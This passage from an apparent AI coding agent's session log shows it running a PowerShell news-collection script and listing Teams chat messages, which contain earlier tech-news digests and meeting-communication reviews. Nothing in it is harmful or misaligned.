`$p='C:\\Users\\Jenishkumar\\.codex\\memories\\rollout_summaries\\2026-06-19T09-43-53-HHu2-chatreview_10x_repeat_news_digest_posting.md'; if(Test-Path -LiteralPath $p){Get-Content -LiteralPath $p -Raw}else{'missing'}`\n> - Ran `Get-ChildItem -Force | Format-Table -AutoSize Name,Length,LastWriteTime`\n> - Ran `Write-Output '{\"a\":1}'`\n> - Wrote `./collect_news.ps1` (+42 -4)\n> - Ran `.\\collect_news.ps1 -PerQuery 40 -Maximum 600`\n> - Ran `.\\collect_news.ps1 -PerQuery 40 -Maximum 600`\n> - Wrote `./collect_news.ps1` (+9 -7)\n> - Ran `.\\collect_news.ps1 -PerQuery 40 -Maximum 80 -QueryOffset 0 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 1 -Maximum 80 -QueryOffset 100 -QueryCount 0 -IncludeHackerNews`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 0 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 12 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 18 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 6 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 24 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 24 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 12 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 1 -Maximum 80 -QueryOffset 100 -QueryCount 0 -IncludeHackerNews`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 0 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 6 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 18 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 1 -Maximum 80 -QueryOffset 100 -QueryCount 0 -IncludeHackerNews`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 6 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 0 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 12 -QueryCount 6`\n> - Ran `.\\collect_news.ps1 -PerQuery 45 -Maximum 80 -QueryOffset 18 -QueryCount 6`\n>\n> \n>\n> The expanded source sweep produced 381 distinct candidates from 191 publishers/official sources, all dated June 18\u201322. I\u2019m now intersecting that pool with the live ChatReview history\u2014which includes the post I just sent\u2014then clustering coverage of the same announcement so only one source version can enter the 10-post batch.\n>\n> \nRan 9 commands, called a tool\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.list_chat_messages\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"top\": 100\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"messages\": [\n>     {\n>       \"message_id\": \"1782103661168\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782103661168\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782103661168?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech / IT / AI News \u2014 June 22, 2026\\n\\nReviewed 100 candidate articles published June 16\u201322 across Google News/RSS,\\nHacker News, GitHub, OpenAI, Microsoft, AWS, Google Cloud, CISA/security\\nsources and major technology publications. De-duplicated against 17 prior\\nChatReview tech-news posts (192 linked stories) by underlying event.\\n\\n**Score factors (in order): Industry impact; relevance to engineers/leaders;\\nAI/ML significance; developer-tool/cloud/workflow impact;\\nsecurity/privacy/infrastructure; major-company adoption; novelty.** Scores\\nbelow show the seven 1\u20135 values in that order, followed by the total.\\n\\n  1. **[Samsung Electronics brings ChatGPT and Codex to employees](https://news.google.com/rss/articles/CBMiekFVX3lxTE90VVluclVyOVNEY3I2a2hVMzg0Ylp1VFhXa1pIdHlCd19wRUI4Z1pZZUktTUxZZnlPMjJ3YXZiRWswRzdBZENMRW02WFRYYTRRV1NxLUtwZjl0djc2dFhOZm5QdTJERUl6Q2N2eTFsQ1BfLTNXWlNwR3ZR?oc=5)** \u2014 **34/35** (5+5+5+5+4+5+5)  \\nSamsung is rolling out ChatGPT Enterprise and Codex globally\u2014one of the\\nclearest large-enterprise signals yet for AI coding and knowledge-work\\nadoption.\\n\\n  2. **[Google DeepMind details defenses against increasingly capable AI](https://news.google.com/rss/articles/CBMib0FVX3lxTFBwbVhyR04tNjU3OFI5RHI4TWVqQjVxeUQ5OTVTSHkybWpPc3UwRkhWVnRfRkFSTUZEREhadFE0TWpkZnFYMGJFR1BsVGJhaXQwSkw3eDhPR1lYM1lRX2doTS1rajFzQXV3eXVBWS1IQQ?oc=5)** \u2014 **33/35** (5+5+5+3+5+5+5)  \\nDeepMind details defenses against capable, imperfectly aligned AI, making\\ninternal agent control and sandboxing a concrete security concern.\\n\\n  3. **[Cloudflare creates temporary accounts for AI agents](https://news.google.com/rss/articles/CBMiW0FVX3lxTE9JOEN5WlBkQU1FbjNpb2hTN3FMSmpycDhpZllUQlNWQ090bHg2cWlVNFZTUEoyVFNFTEttb2NWTjVyQzBfYnNmbk14WDRLOHZfN2RhLVBlX2dTUFk?oc=5)** \u2014 **33/35** (4+5+5+5+5+4+5)  \\nCloudflare adds disposable, isolated accounts so agents can test\\ninfrastructure work without exposing production credentials or tenant\\nresources.\\n\\n  4. **[GitHub Copilot app becomes generally available](https://news.google.com/rss/articles/CBMihwFBVV95cUxObkVVbEQxdTFsOUhfWGF6Y0xSTzhKQ3Q0VmVqT25KSVhBLTY5Q19pbU8xOFlobFROTkwxT0d0cy1XZ3lmSUx0cUI0S0VEbTM4QVNlOXZqaFMxRHRtbTNtOGZ2ekxYdzdIdENjMm9qaGdkdUFndkxqRFJISXpzb2N3dFlBNnp1VFE?oc=5)** \u2014 **32/35** (4+5+5+5+3+5+5)  \\nGitHub makes its Copilot app generally available, turning the coding agent\\ninto a first-class GitHub workflow surface for individual developers.\\n\\n  5. **[OpenAI introduces Record& Replay for Codex](https://news.google.com/rss/articles/CBMiY0FVX3lxTE5iRldlTjRYUjlrcUtGNWxsUl96UUJyMVVDZ3hEcUhGTUpENHZhcG12cDhfLWQtLUkwTVlXY0JDS3JuUDlDam1ROGJDaFhOQmlVbGZNM284ekJJTWs3VFlsMEh1OA?oc=5)** \u2014 **32/35** (4+5+5+5+3+5+5)  \\nOpenAI documents a Codex workflow for reproducing agent sessions\u2014useful for\\ndebugging, demonstration and repeatable engineering handoffs.\\n\\n  6. **[Researcher finds 10,000 GitHub repositories distributing Trojan malware](https://orchidfiles.com/github-repositories-distributing-malware/)** \u2014 **31/35** (5+5+1+5+5+5+5)  \\nA researcher found 10,000 independently named GitHub repos sharing a malware-\\ndistribution pattern, exposing the scale of repository trust abuse.\\n\\n  7. **[Block rolls out Builderbot, a suite of AI-native engineering tools](https://news.google.com/rss/articles/CBMisAFBVV95cUxPektqZmdCM01TaU1NajJRYzJBdlRsa2FWS2lZc3lQLXJmQWk4WHp6WnM0N0JGYXRMd243WWdvRzltalZVQUh1V3cwNWxvWGlVYXU0eEdtZy00Rl9NUWJmLVIxNU1CYUFrend1RnFzcVg5anJhTkltdFN4aE1PVVNkOFJTSjU0eGhqbFloVFk3Y3lSXzJkRldNRnJKRVNLbGU4UV94ODN5alNIVHJjZDdtXw?oc=5)** \u2014 **31/35** (4+5+5+5+3+4+5)  \\nBlock introduces Builderbot, an AI-native tool suite used internally to change\\nhow its engineers build, review and ship software.\\n\\n  8. **[GitHub adds per-user AI-credit use to Copilot metrics API](https://news.google.com/rss/articles/CBMiqwFBVV95cUxPV3o3VHdGeFlUSmZIeHVIRjJ5MmI3bFNvak5CcmNJSzVOMDctX09aQjVJcndTVi1hQ1djM2MweTV5V3pGV0R1WkpPU3VxUE9GMlhRNmEwRndsSDZqcmlydGRyZEw4a0hEWHRfSlJVdFlEVnhOVGNpb21SY2Y3a0g2eFozMEZxMWIwWXhEaVlBSlhISFRuM1pINnp6bThRY1lfZFFlLXRPVzB3bUE?oc=5)** \u2014 **30/35** (4+5+4+5+2+5+5)  \\nCopilot usage metrics now expose AI-credit consumption per user, giving\\nengineering leaders clearer cost and adoption visibility.\\n\\n  9. **[Study compares productivity across generations of AI coding tools](https://news.google.com/rss/articles/CBMitAFBVV95cUxOMEliZ3NSRXFwcERFcHlOaU1vRGtrX2hzSGdFWE5ZSEpaNzNMVHVHa2VhYkpDTzFqTldvUTVNTVFxYzR1UVdnN0ZRTG9RZWRfYVEyNHA0TXdsVHhGN1FmZHNxbmhPeUdnQkZsMENaaEhHcEZZbWV3aWNRdjJVbmV5T2traDRTRUlSRS1EVXNRMERjSk0yQXl0dzdGRTMwTjJycE1WbFZCYkFzTzlhaTB3YUItVFM?oc=5)** \u2014 **29/35** (4+5+5+5+2+3+5)  \\nNew productivity research separates writing code from shipping code and\\ncompares how several generations of AI coding tools affect real workflows.\\n\\n  10. **[Linux finally removes strncpy after six years and 360+ patches](https://news.google.com/rss/articles/CBMiY0FVX3lxTE1WUWlZeE9vQ0s0eEpSMFpheWlZdVZDQnFFd0ZyQzFQU1dNZ2Z3YnlTUzU4NUYzUUVURTQweU5TeXRQTXN3ZW1kU2xtcGZLT1lNMFpTRHhaRy1YUDBGci0yVlROdw?oc=5)** \u2014 **28/35** (4+5+1+4+4+5+5)  \\nThe kernel eliminated the error-prone strncpy API after more than 360 patches,\\na major secure-coding cleanup for a critical open-source dependency.\\n\\n  11. **[Midjourney moves into 60-second whole-body ultrasound screening](https://www.midjourney.com/medical/blogpost)** \u2014 **28/35** (4+3+5+2+4+5+5)  \\nMidjourney says it is investing over $74M in a 60-second full-body ultrasound\\nscreening system, expanding well beyond image generation.\\n\\n  12. **[Trump announces Intel\u2013Apple chip design partnership](https://news.google.com/rss/articles/CBMie0FVX3lxTE9EYlA1MHNsNk83YllqeGQ4NjVjajZXSnpUdHRUcU1OaTZoM1hXUGZhb2ktT3BFUHBVTmEtOFowaUw3Qk9LWHJPeGdJWmRrWXV0YXBYaERka3kwMzlGTVAteFA4X1BQSlFKNy13QjZWb2h1UTU2azhmT3VPMNIBgAFBVV95cUxNajJvNDlLalFrd0RUcldYN0tHVUZlOEJfX1Q4bGZ3M004S2ktUGY5dmFFd0Q3R1Q2djBzN1NvQWJSSksxYWVjTV9NdW44U2ttTFU4NzRZNzFCSHBWWlB2VXowcGt0dlFWbXM1bkhwTjRFY2l1Qm1HVHFDU0dEUTczcg?oc=5)** \u2014 **26/35** (5+4+2+2+3+5+5)  \\nApple will work with Intel on US chip design, a high-profile domestic\\nsemiconductor partnership that could reshape a strategically important supply\\nchain.\\n\\n  13. **[Project Valhalla\u2019s value types arrive in JDK 28 after a decade of work](https://www.jvm-weekly.com/p/project-valhalla-explained-how-a)** \u2014 **26/35** (4+5+1+5+2+4+5)  \\nJDK 28 starts delivering Valhalla\u2019s value-type work, a long-awaited JVM change\\naimed at denser data layouts and better performance without losing safety.\\n\\n  14. **[GrapheneOS is ported to Android 17](https://discuss.grapheneos.org/d/36469-grapheneos-has-been-ported-to-android-17-and-official-releases-are-coming-soon)** \u2014 **26/35** (4+4+1+3+5+4+5)  \\nThe security-focused mobile OS completed its Android 17 port and says official\\nreleases are coming, reducing upgrade lag for privacy-conscious deployments.\\n\\n  15. **[Hyundai takes full ownership of Boston Dynamics](https://startupfortune.com/hyundai-takes-full-control-of-boston-dynamics-as-softbank-exits-for-325-million/)** \u2014 **25/35** (4+3+4+2+2+5+5)  \\nHyundai is buying SoftBank\u2019s remaining 9.65% stake for $325M, taking full\\ncontrol of Boston Dynamics and its commercial robotics portfolio.\\n\\n_Ties were ordered by industry impact first, then engineering-leader\\nrelevance._\",\n>       \"created_at\": \"2026-06-22T04:47:41.168Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782103661168?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781868597362\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868597362\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Concise Meeting Review \u2014 Replacement\\n\\n**Scores:** Overall **5.3/10 \u2014 Needs Improvement** | Grammar **4/10** | Communication **5/10** | Frustration handling **7/10 \u2014 Good** (no external client was evident, so this score is provisional).\\n\\n**Summary:** The team made useful decisions about architecture, bugs,\\ndocumentation, and priorities. The main weakness was unclear wording and\\nmoving between topics without confirming the decision, owner, deadline, and\\nacceptance test.\\n\\n### Top Issues\\n\\n  * **HIGH \u2014 00:02:** Unclear opening; no agenda or required outcomes.\\n  * **HIGH \u2014 03:03:** Vague status request (\u201chow much complete and how much rest\u201d) could produce unreliable estimates.\\n  * **HIGH \u2014 18:37:** Migration explanation mixed several systems and decisions without a checklist, creating rework/security risk.\\n  * **MEDIUM \u2014 25:20\u201325:56:** Repeated, conflicting discussion about tap behavior ended without a testable acceptance criterion.\\n\\n**Repeated questions:** Architecture, login, bug, and microphone checks were\\nnecessary. Generic \u201cwhat\u2019s clear?\u201d checks and repeated tap/table discussions\\nwere inefficient because nobody restated the final decision.\\n\\n### Trend Across 20 Prior Meetings\\n\\n  * **Improved:** Better handling of access boundaries, technical dependencies, release risks, and prioritization.\\n  * **Still recurring:** Unclear scope/timelines, long technical explanations, repeated clarification, and verbal requirements without written acceptance criteria.\\n\\n### Recommended Actions\\n\\n  1. Open with purpose, three outcomes, agenda, and end time.\\n  2. Ask for status as: done | remaining | blocker | owner | due date.\\n  3. Close each topic with: decision | owner | date | acceptance test.\\n  4. End with a two-minute read-back of actions and unresolved risks.\\n\\n_Client/product/contact/account/credential details were removed. Grammar\\nfindings may partly reflect multilingual speech and transcription errors._\",\n>       \"created_at\": \"2026-06-19T11:29:57.362Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781868451230\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868451230\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer \u2014 Most Recent Completed Meeting\\n\\n**Meeting date:** 21 Apr 2026  \\n**Review scope:** Full transcript of the selected meeting; 2 nearest prior\\nfull transcripts; summaries/action items from the other 18 preceding meetings.  \\n**Privacy:** Client, product, account, contact, and credential details have\\nbeen removed. Speaker names are replaced by roles.\\n\\n### Scorecard\\n\\n  * **Overall: 5.3/10 \u2014 Needs Improvement** (average of the three scores below)\\n  * **Grammar: 4/10 \u2014 Needs Improvement** \u2014 frequent sentence fragments, missing verbs/articles, vague pronouns, and unfinished thoughts.\\n  * **Communication: 5/10 \u2014 Needs Improvement** \u2014 useful technical decisions were reached, but questions and handoffs were often unstructured.\\n  * **Client-frustration handling: 7/10 \u2014 Good** \u2014 higher means less observed friction. No external client was evident in this meeting; the score is provisional and reflects internal confusion/repetition rather than client dissatisfaction.\\n\\n_Fairness note: the transcript contains multilingual speech and likely speech-\\nrecognition errors. Grammar observations should be treated as coaching\\nsignals, not accent judgments._\\n\\n### Conversation Summary\\n\\nThe team reviewed project status, architecture, migration work, bugs,\\ndocumentation, and feature priorities. They agreed to consolidate backend\\nwork, fix critical login/audio/grammar-correction issues, document the\\narchitecture, prioritize core learning and role-play flows, and defer lower-\\npriority notifications/referral work. The technical direction was broadly\\nsound, but the call lacked a crisp agenda, item-by-item status format,\\nacceptance criteria, and a final owner/deadline recap.\\n\\n### What Went Well\\n\\n  * **Architecture clarification:** At **02:46** , the lead asked which backend/service components were actually in use. This was a necessary question before migration decisions.\\n  * **Documentation recognized:** At **11:01** , the team requested a project document; the resulting action list captured architecture and feature documentation work.\\n  * **Functional verification:** At **28:48\u201329:04** , the team checked whether microphone and speech-correction behavior was complete instead of assuming it worked.\\n  * **Prioritization:** At **31:30\u201332:04** , lower-priority reminder/referral work was deferred so the team could focus on core functionality.\\n\\n### Priority Issues and Evidence\\n\\n  1. **HIGH \u2014 Unclear opening and meeting objective.**  \\n**Transcript 00:02:** \u201cSo you have to ask about [product] \u2026 we discussed this\\n\u2026 okay?\u201d  \\nThe call began without a clear purpose, expected decisions, or order of\\ntopics. This increases meeting time and the risk that participants solve\\ndifferent problems.  \\n**Improve:** \u201cToday we need three outcomes: current status, blockers, and\\nowners/dates for remaining work.\u201d\\n\\n  2. **HIGH \u2014 Vague status request.**  \\n**Transcript 03:03:** \u201cTell us \u2026 how much complete and how much rest.\u201d  \\nThe intent is understandable, but the request does not specify features,\\nevidence, blockers, or dates. This can produce unreliable estimates and missed\\nscope.  \\n**Improve:** \u201cFor each feature, state: done, remaining, blocker, owner, and\\ntarget date.\u201d\\n\\n  3. **HIGH \u2014 Long, unstructured architecture explanation.**  \\n**Transcript 18:37:** \u201cWe need everything in [backend] \u2026 there is no cloud\\nfunction \u2026\u201d followed by repeated services, tables, and secret-handling\\nreferences.  \\nSeveral decisions were mixed together without a clear migration checklist or\\ndefinition of done. Business risk includes configuration errors, security\\noversights, and rework.  \\n**Improve:** present \u201ccurrent state \u2192 target state \u2192 components to migrate \u2192\\nitems to remove \u2192 validation owner/date.\u201d\\n\\n  4. **HIGH \u2014 Contradictory acceptance criteria.**  \\n**Transcript 25:20\u201325:56:** \u201cLearn flow?\u201d / \u201cIt doesn\u2019t [need to be] tappable\u201d\\n/ \u201cNo, no, no.\u201d  \\nParticipants discussed the same interaction in different terms, but nobody\\nrestated the final decision. This can send development in the wrong direction.  \\n**Improve:** finish with one testable sentence: \u201cDecision: tapping a chat\\nmessage will/will not trigger X; owner Y will demo it by date Z.\u201d\\n\\n  5. **MEDIUM \u2014 Weak closed-loop confirmation.**  \\n**Transcript 01:08\u201301:52:** \u201cWhat\u2019s clear?\u201d was repeated around an audio/mute\\nproblem.  \\nRepeating a generic question does not prove shared understanding.  \\n**Improve:** \u201cPlease repeat the two actions you own and their deadlines.\u201d\\n\\n  6. **MEDIUM \u2014 Premature task closure without ownership.**  \\n**Transcript 09:49\u201310:00:** \u201cRemaining tasks are cleared\u201d followed by a\\nfragmented \u201cone, two \u2026 start \u2026\u201d instruction.  \\nThe meeting moved on before the owner, due date, and completion evidence were\\nstated.  \\n**Improve:** use a visible decision/action log throughout the call.\\n\\n  7. **LOW \u2014 Vague closing question.**  \\n**Transcript 32:22:** \u201cYou said that were doing it?\u201d  \\nThe close did not summarize decisions or invite targeted corrections.  \\n**Improve:** \u201cBefore we finish: here are the decisions, owners, and dates.\\nWhat did I miss?\u201d\\n\\n### Repeated Questions: Necessary vs. Unnecessary\\n\\n  * **Necessary:** **02:46** backend/service usage; **08:00\u201308:08** login testing; **18:08** pending bug list; **28:48\u201329:04** microphone/speech-correction verification. These reduce technical and delivery risk.\\n  * **Inefficient repetition \u2014 MEDIUM:** **01:08\u201301:52** generic \u201cwhat\u2019s clear?\u201d checks; **21:11\u201321:28** repeated table-use discussion without naming the exact data/decision; **25:20\u201325:56** repeated tap-behavior discussion without a written acceptance criterion.\\n\\n### Unclear Requests and Missed Opportunities\\n\\n  * **HIGH, 03:03:** missed the chance to request a structured feature-by-feature status report.\\n  * **HIGH, 18:37:** missed the chance to convert migration discussion into a checklist with validation and rollback criteria.\\n  * **MEDIUM, 09:49\u201310:00:** missed the chance to assign owners and dates before declaring tasks clear.\\n  * **MEDIUM, 25:20\u201325:56:** missed the chance to write one acceptance criterion and have the implementer read it back.\\n  * **LOW, 32:22:** missed the chance to close with decisions, actions, risks, and the next review date.\\n\\n### Likely Root Causes of Friction\\n\\n  * No visible agenda or shared status checklist.\\n  * Multiple questions and technical concepts combined in one sentence.\\n  * Heavy use of vague words such as \u201cthis,\u201d \u201cthat,\u201d \u201cit,\u201d and \u201cremaining\u201d without naming the component.\\n  * Too many topics\u2014architecture, bugs, UI, documentation, notifications, and referral work\u2014without timeboxing.\\n  * Decisions remained verbal instead of being converted immediately into acceptance criteria and owner/date actions.\\n\\n### Trend Across the 20 Prior Meetings\\n\\n**Improving:**\\n\\n  * The nearest prior client call showed better judgment: when source-code access was declined, the lead accepted the boundary, requested tester access and a scope document, and agreed on a quote-after-review process. The client remained cooperative.\\n  * Recent meetings increasingly captured technical decisions, blockers, staged-release/rollback thinking, and concrete action items.\\n  * The lead is improving at identifying dependencies before estimating and at prioritizing critical functionality over lower-value additions.\\n\\n**Still recurring:**\\n\\n  * **HIGH:** scope and timeline clarity. A prior March meeting also recorded that several tasks, scope, and timing remained unclear; the same pattern appears at 03:03 in the selected call.\\n  * **HIGH:** long explanations of high-risk technical changes without a short recommendation and decision recap. This appeared in both a prior production-launch discussion and the selected architecture discussion.\\n  * **MEDIUM:** repeated access/dependency clarification. Often necessary, but much of it could be handled by a pre-meeting artifact checklist.\\n  * **MEDIUM:** reliance on verbal requirements. Multiple prior meetings called for tickets, documentation, or more detailed requirements, and the selected meeting still required a missing architecture document.\\n\\n**Trend confidence: Medium.** Three meetings were reviewed from full\\ntranscripts; the other 18 historical meetings were compared through their\\nFathom summaries/action items because the connector limits full-transcript\\nretrieval to three per review.\\n\\n### Recommended Actions\\n\\n  1. **P0 \u2014 Use a 60-second opening:** purpose, three required outcomes, agenda, and end time.\\n  2. **P0 \u2014 Use one status template:** component | done | remaining | blocker | owner | due date | proof.\\n  3. **P0 \u2014 Close every topic:** \u201cDecision / Owner / Due date / Acceptance test.\u201d Ask the owner to read it back.\\n  4. **P1 \u2014 Use simpler English patterns:** one question per sentence; name the component; avoid \u201cthis/that/it\u201d when several items are being discussed.\\n  5. **P1 \u2014 Explain risks in five lines:** risk, cause, impact, options, recommendation.\\n  6. **P1 \u2014 End with a two-minute recap:** decisions, actions, unresolved risks, and next review date.\\n  7. **P2 \u2014 Measure the next five meetings:** number of repeated clarifications, actions with owner/date, unresolved decisions, and client corrections.\\n\\n**Scoring rubric:** 1\u20133 Poor | 4\u20136 Needs Improvement | 7\u20138 Good | 9\u201310 Excellent\",\n>       \"created_at\": \"2026-06-19T11:27:31.23Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863296933\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863296933\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 10/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Route 53 DNS Firewall integrates Palo Alto threat protection](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-route-53-resolver-dns/)** \u2014 **Score: 31/35.** Route 53 Resolver DNS Firewall can preview Palo Alto Networks threat intelligence, adding another managed control against malicious domains.\\n  2. **[Microsoft fixes failed Windows Server 2016 security updates](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-windows-server-2016-security-update-failures/)** \u2014 **Score: 30/35.** Microsoft fixed a problem that caused June security updates to fail on Windows Server 2016 systems that were missing earlier servicing updates.\\n  3. **[Amazon RDS adds Graviton5 M9g database instances](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-rds-postgresql-mysql-mariadb-m9g-instances/)** \u2014 **Score: 30/35.** RDS now offers Graviton5 M9g instances for PostgreSQL, MySQL and MariaDB, claiming up to 30% higher performance and 23% better price-performance.\\n  4. **[CloudWatch centralizes metrics across accounts and regions](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cross-account-metrics-centralization)** \u2014 **Score: 30/35.** CloudWatch can replicate metrics from multiple accounts and regions into one destination, simplifying enterprise observability and access management.\\n  5. **[AWS expands nested virtualization across Intel instances](https://aws.amazon.com/about-aws/whats-new/2026/06/nested-virtualization-intel-us-gov-cloud/)** \u2014 **Score: 30/35.** AWS expanded nested virtualization to more Intel instance families and GovCloud regions, supporting hypervisor, lab and appliance workloads.\\n  6. **[CloudWatch Query Studio reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cloudwatch-query-studio-generally-available)** \u2014 **Score: 29/35.** CloudWatch Query Studio provides one interface for querying and visualizing metrics, reducing context switching during operations and incident analysis.\\n  7. **[CNCF program expands Arm64 testing for open-source projects](https://www.cncf.io/blog/2026/06/15/improving-arm64-support-in-cncf-projects-with-oci-credits/)** \u2014 **Score: 29/35.** CNCF is using OCI credits to improve Arm64 build and test coverage as Arm-based instances gain share across major cloud platforms.\\n  8. **[AWS improves EBS rightsizing with spike-aware metrics](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-compute-optimizer-enhances-ebs-recommendations/)** \u2014 **Score: 28/35.** Compute Optimizer now considers IOPS and throughput-exceeded signals when rightsizing EBS volumes, reducing performance risk from hidden spikes.\\n  9. **[Apple patches a high-severity Beats eavesdropping flaw](https://arstechnica.com/apple/2026/06/apple-patches-high-severity-eavesdropping-vulnerability-in-beats-studio-buds/)** \u2014 **Score: 27/35.** Apple patched a high-severity vulnerability affecting Beats Studio Buds that could enable eavesdropping; related hardware from multiple vendors is affected.\\n  10. **[GameLift improves container fleets for game servers](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-gamelift-servers-container-fleet-improvements)** \u2014 **Score: 27/35.** GameLift added container-fleet controls for deployment flexibility and inter-container communication, addressing common game-server operations issues.\",\n>       \"created_at\": \"2026-06-19T10:01:36.933Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863295479\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863295479\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 9/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AI demand broadens the chip boom across Asia](https://news.google.com/rss/articles/CBMihAFBVV95cUxONURodERCMFljMjMta0c1RFBGOUthaTEzQTZSQnNZLW1fUDA3dnRsQXhXdlpMTElweWZwQnl3MmVEcUNmajhLdHR5endwa3NLcW0ydmJOdThNdmEwOXM1TC1NY2pZTngwUVUxYUNQRU5relZIeTBkQlVpN3FZV2o2SFJvbTA?oc=5)** \u2014 **Score: 31/35.** AI demand is lifting chipmakers across Asia, broadening infrastructure exposure beyond Nvidia and reshaping regional semiconductor supply chains.\\n  2. **[Coherent expands the optical backbone for AI systems in Texas](https://blogs.nvidia.com/blog/coherent-texas-ai-optical/)** \u2014 **Score: 31/35.** Coherent broke ground on a larger Texas facility for lasers and optical components that connect dense AI systems and data-center networks.\\n  3. **[JX Advanced Metals expands optical-wafer capacity for AI data 